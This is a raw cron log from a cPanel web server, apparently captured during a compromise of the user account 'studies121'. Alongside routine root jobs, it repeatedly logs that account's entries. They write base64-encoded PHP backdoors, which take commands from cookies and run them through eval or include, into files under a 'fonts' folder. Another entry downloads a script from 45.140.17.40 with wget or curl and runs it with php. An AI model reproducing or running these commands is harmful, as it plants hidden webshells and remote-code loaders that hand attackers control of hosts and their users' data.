Sep  3 15:01:01 ip-184-168-122-23 CROND[23570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:01:01 ip-184-168-122-23 CROND[23573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:01:01 ip-184-168-122-23 CROND[23574]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 15:01:01 ip-184-168-122-23 CROND[23576]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 15:01:01 ip-184-168-122-23 CROND[23578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:01:01 ip-184-168-122-23 CROND[23579]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[23576]: starting 0anacron
Sep  3 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[23592]: finished 0anacron
Sep  3 15:02:01 ip-184-168-122-23 CROND[23669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:02:01 ip-184-168-122-23 CROND[23671]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:02:01 ip-184-168-122-23 CROND[23672]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 15:02:01 ip-184-168-122-23 CROND[23673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:02:01 ip-184-168-122-23 CROND[23675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:03:01 ip-184-168-122-23 CROND[23762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:03:01 ip-184-168-122-23 CROND[23764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:03:01 ip-184-168-122-23 CROND[23766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:03:01 ip-184-168-122-23 CROND[23765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:04:01 ip-184-168-122-23 CROND[23842]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 15:04:01 ip-184-168-122-23 CROND[23844]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:04:01 ip-184-168-122-23 CROND[23845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:04:01 ip-184-168-122-23 CROND[23847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:04:01 ip-184-168-122-23 CROND[23848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:05:01 ip-184-168-122-23 CROND[23929]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 15:05:01 ip-184-168-122-23 CROND[23931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:05:01 ip-184-168-122-23 CROND[23932]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 15:05:01 ip-184-168-122-23 CROND[23934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:05:01 ip-184-168-122-23 CROND[23933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:05:01 ip-184-168-122-23 CROND[23937]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:05:01 ip-184-168-122-23 CROND[23936]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 15:06:01 ip-184-168-122-23 CROND[24105]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:06:01 ip-184-168-122-23 CROND[24107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:06:01 ip-184-168-122-23 CROND[24108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:06:01 ip-184-168-122-23 CROND[24110]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 15:06:01 ip-184-168-122-23 CROND[24109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:07:01 ip-184-168-122-23 CROND[24206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:07:01 ip-184-168-122-23 CROND[24209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:07:01 ip-184-168-122-23 CROND[24210]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:07:01 ip-184-168-122-23 CROND[24211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:08:01 ip-184-168-122-23 CROND[24287]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:08:01 ip-184-168-122-23 CROND[24289]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 15:08:01 ip-184-168-122-23 CROND[24290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:08:01 ip-184-168-122-23 CROND[24292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:08:01 ip-184-168-122-23 CROND[24291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:09:01 ip-184-168-122-23 CROND[24380]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:09:01 ip-184-168-122-23 CROND[24382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:09:01 ip-184-168-122-23 CROND[24384]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 15:09:01 ip-184-168-122-23 CROND[24386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:09:01 ip-184-168-122-23 CROND[24385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:10:01 ip-184-168-122-23 CROND[24484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:10:01 ip-184-168-122-23 CROND[24483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:10:01 ip-184-168-122-23 CROND[24487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:10:01 ip-184-168-122-23 CROND[24494]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 15:10:01 ip-184-168-122-23 CROND[24491]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 15:10:01 ip-184-168-122-23 CROND[24493]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 15:10:01 ip-184-168-122-23 CROND[24492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:10:01 ip-184-168-122-23 CROND[24495]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 15:11:01 ip-184-168-122-23 CROND[24667]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:11:01 ip-184-168-122-23 CROND[24669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:11:01 ip-184-168-122-23 CROND[24670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:11:01 ip-184-168-122-23 CROND[24671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:12:01 ip-184-168-122-23 CROND[24757]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 15:12:01 ip-184-168-122-23 CROND[24761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 15:12:01 ip-184-168-122-23 CROND[24759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:12:01 ip-184-168-122-23 CROND[24760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:12:01 ip-184-168-122-23 CROND[24758]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
